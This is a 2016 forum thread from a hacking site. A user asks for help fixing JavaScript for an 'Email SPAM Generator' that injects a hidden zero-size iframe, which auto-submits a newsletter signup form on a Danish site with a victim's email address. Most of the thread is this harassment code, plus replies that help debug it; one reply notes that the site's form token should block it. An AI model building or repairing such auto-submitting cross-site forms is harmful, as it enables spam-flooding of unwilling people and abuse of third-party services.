![]() |
|
Problem with js code - Printable Version +- Sinisterly (https://sinister.li) +-- Forum: Coding (https://sinister.li/Forum-Coding) +--- Forum: Coding (https://sinister.li/Forum-Coding--71) +--- Thread: Problem with js code (/Thread-Problem-with-js-code) Pages:
1
2
|
Problem with js code - hacxx - 08-14-2016 Hey, I'm having problems making this code to work, some help here... Code: <html>
<title>Email SPAM Generator</title>
<link href="data:text/css;base64,ICAgIGJvZHkgeyAgICAgICAgIGJhY2tncm91bmQtY29sb3I6ICNmMGYwZjI7ICAgICAgICAgbWFyZ2luOiAwOyAgICAgICAgIHBhZGRpbmc6IDA7ICAgICAgICAgZm9udC1mYW1pbHk6ICJPcGVuIFNhbnMiLCAiSGVsdmV0aWNhIE5ldWUiLCBIZWx2ZXRpY2EsIEFyaWFsLCBzYW5zLXNlcmlmOyAgICAgICAgICAgICAgfSAgICAgZGl2IHsgICAgICAgICB3aWR0aDogNjAwcHg7ICAgICAgICAgbWFyZ2luOiA1ZW0gYXV0bzsgICAgICAgICBwYWRkaW5nOiA1MHB4OyAgICAgICAgIGJhY2tncm91bmQtY29sb3I6ICNmZmY7ICAgICAgICAgYm9yZGVyLXJhZGl1czogMWVtOyAgICAgfSAgICAgYTpsaW5rLCBhOnZpc2l0ZWQgeyAgICAgICAgIGNvbG9yOiAjMzg0ODhmOyAgICAgICAgIHRleHQtZGVjb3JhdGlvbjogbm9uZTsgICAgIH0gICAgIEBtZWRpYSAobWF4LXdpZHRoOiA3MDBweCkgeyAgICAgICAgIGJvZHkgeyAgICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjZmZmOyAgICAgICAgIH0gICAgICAgICBkaXYgeyAgICAgICAgICAgICB3aWR0aDogYXV0bzsgICAgICAgICAgICAgbWFyZ2luOiAwIGF1dG87ICAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDA7ICAgICAgICAgICAgIHBhZGRpbmc6IDFlbTsgICAgICAgICB9ICAgICB9" type=text/css rel=stylesheet>
<body>
<div>
<center><h1>Email SPAM Generator</h1>
Send 1 emails to anyone.<br><br><br>
<table><tr><td>
Email: <input type="text" id="email_data" size=30><br></td><td>
<input type="button" value="Submit" onclick="email();"><br></td></tr></table>
</center>
</div>
<script>
email = function() {
var email_data = document.getElementById('email_data').value;
if(email_data == "") {
alert('Write an email to send spam!');
return false;
}
document.write('<html><title>Email SPAM Generator</title><link href="data:text/css;base64,ICAgIGJvZHkgeyAgICAgICAgIGJhY2tncm91bmQtY29sb3I6ICNmMGYwZjI7ICAgICAgICAgbWFyZ2luOiAwOyAgICAgICAgIHBhZGRpbmc6IDA7ICAgICAgICAgZm9udC1mYW1pbHk6ICJPcGVuIFNhbnMiLCAiSGVsdmV0aWNhIE5ldWUiLCBIZWx2ZXRpY2EsIEFyaWFsLCBzYW5zLXNlcmlmOyAgICAgICAgICAgICAgfSAgICAgZGl2IHsgICAgICAgICB3aWR0aDogNjAwcHg7ICAgICAgICAgbWFyZ2luOiA1ZW0gYXV0bzsgICAgICAgICBwYWRkaW5nOiA1MHB4OyAgICAgICAgIGJhY2tncm91bmQtY29sb3I6ICNmZmY7ICAgICAgICAgYm9yZGVyLXJhZGl1czogMWVtOyAgICAgfSAgICAgYTpsaW5rLCBhOnZpc2l0ZWQgeyAgICAgICAgIGNvbG9yOiAjMzg0ODhmOyAgICAgICAgIHRleHQtZGVjb3JhdGlvbjogbm9uZTsgICAgIH0gICAgIEBtZWRpYSAobWF4LXdpZHRoOiA3MDBweCkgeyAgICAgICAgIGJvZHkgeyAgICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjZmZmOyAgICAgICAgIH0gICAgICAgICBkaXYgeyAgICAgICAgICAgICB3aWR0aDogYXV0bzsgICAgICAgICAgICAgbWFyZ2luOiAwIGF1dG87ICAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDA7ICAgICAgICAgICAgIHBhZGRpbmc6IDFlbTsgICAgICAgICB9ICAgICB9" type=text/css rel=stylesheet><body><div><center><h1>Email SPAM Generator</h1>Sending the spam emails to '+email_data+'...<br><br><br></center></div></html>');
document.write('<iframe src=\"data:text/html;charset=utf-8,<form method="post" name="subscribeform" action="http://www.nkk.dk/nyhedsbrev/?p=subscribe"><input type="hidden" name="formtoken" value="9cf80e7901984c446df7aac12696c288"><input type="hidden" name="email" value="'+email_data+'"><input type="hidden" name="htmlemail" value="1"><input type="hidden" name="attribute7" value="Joaquim"><input type="hidden" name="attribute6" value="Broodly"><input type="hidden" name="rssfrequency" value="daily"><input type="hidden" name="list[3]" value="signup"><input type="hidden" name="listname[3]" value="Updates fra nkk.dk"><input type="hidden" name="list[2]" value="signup"><input type="hidden" name="listname[2]" value="NKK Info"><input type="hidden" name="VerificationCodeX" value=""><input type="submit" name="subscribe" value="subscribe"></form><script>document.forms[0]["subscribe"].click();</script>\" frameborder=\"0\" heigth=\"0\" width=\"0\"></iframe>');
}
</script>
</body>
</html>RE: Problem with js code - phyrrus9 - 08-14-2016 Can you be specific? What you've done here is paste a large chunk of illegible code and say 'it no work'. Clean it up so it isn't all one line and you will probably find your mistake. If you cant find it after that, then either myself or someone here will be able to decipher it and help you out. RE: Problem with js code - hacxx - 08-15-2016 Hey, I will try to be more specific. The part of the code that it isn't working is below Code: document.write('<iframe src=\"data:text/html;charset=utf-8,<form method="post" name="subscribeform" action="http://www.nkk.dk/nyhedsbrev/?p=subscribe"><input type="hidden" name="formtoken" value="9cf80e7901984c446df7aac12696c288"><input type="hidden" name="email" value="'+email_data+'"><input type="hidden" name="htmlemail" value="1"><input type="hidden" name="attribute7" value="Joaquim"><input type="hidden" name="attribute6" value="Broodly"><input type="hidden" name="rssfrequency" value="daily"><input type="hidden" name="list[3]" value="signup"><input type="hidden" name="listname[3]" value="Updates fra nkk.dk"><input type="hidden" name="list[2]" value="signup"><input type="hidden" name="listname[2]" value="NKK Info"><input type="hidden" name="VerificationCodeX" value=""><input type="submit" name="subscribe" value="subscribe"></form><script>document.forms[0]["subscribe"].click();</script>\" frameborder=\"0\" heigth=\"0\" width=\"0\"></iframe>');I'm using three methods to format the code ',",\". The problem is the \" that has the same value as ". But it can be something else that i don't know. Back to the code, it's a inline js code so it's made to be in one line, no formating, makes it more dificult for newbies... ............. The part of the code that it's not working is Code: document.write('<iframe src=\"Code: \" frameborder=\"0\" heigth=\"0\" width=\"0\"></iframe>');The data between this two codes works perfectly, just copy and paste in the browser window. Also i have encode this into one line of base64 but it doesn't process the var present in the code. RE: Problem with js code - hacxx - 08-17-2016 Didn't got any answer. Do anyone else know how to fix it? RE: Problem with js code - Wildfire - 08-17-2016 There's a form token to prevent XSRF. Also, you're posting crossorigin. That won't work due to XSRF protections as soon as you upload it somewhere not local. RE: Problem with js code - NaB3nzo - 08-21-2016 I just don't think that document.write() is a good way to append a new element to a page. I would use: Code: var miiframe=content.document.createElement("IFRAME");
miiframe.src='data:text/html;charset=utf-8,<form method="post" [...] ';
document.body.appendChild(miiframe);RE: Problem with js code - hacxx - 08-22-2016 Thanks @NaB3nzo It doesn't work with Email SPAM Generator, The same problem (the code isn't well formated) Did you test it? RE: Problem with js code - Skryptec - 08-22-2016 (08-15-2016, 07:42 PM)hacxx Wrote: Hey, height RE: Problem with js code - hacxx - 08-23-2016 @Skryptec It's not the height, the code is broken before frameborder Code: \" frameborder=\"0\" heigth=\"0\" width=\"0\"></iframe>');RE: Problem with js code - phyrrus9 - 08-23-2016 (08-23-2016, 10:50 AM)hacxx Wrote: Hey Skryptec, As I said before, if you take some time to clean up your code, use line breaks and indentations where they should be, and I will gladly help you out. If you want to just paste a huge line of broken code and say "fix it", nobody is going to help you. We won't put the effort into your struggle if you wont do the same. |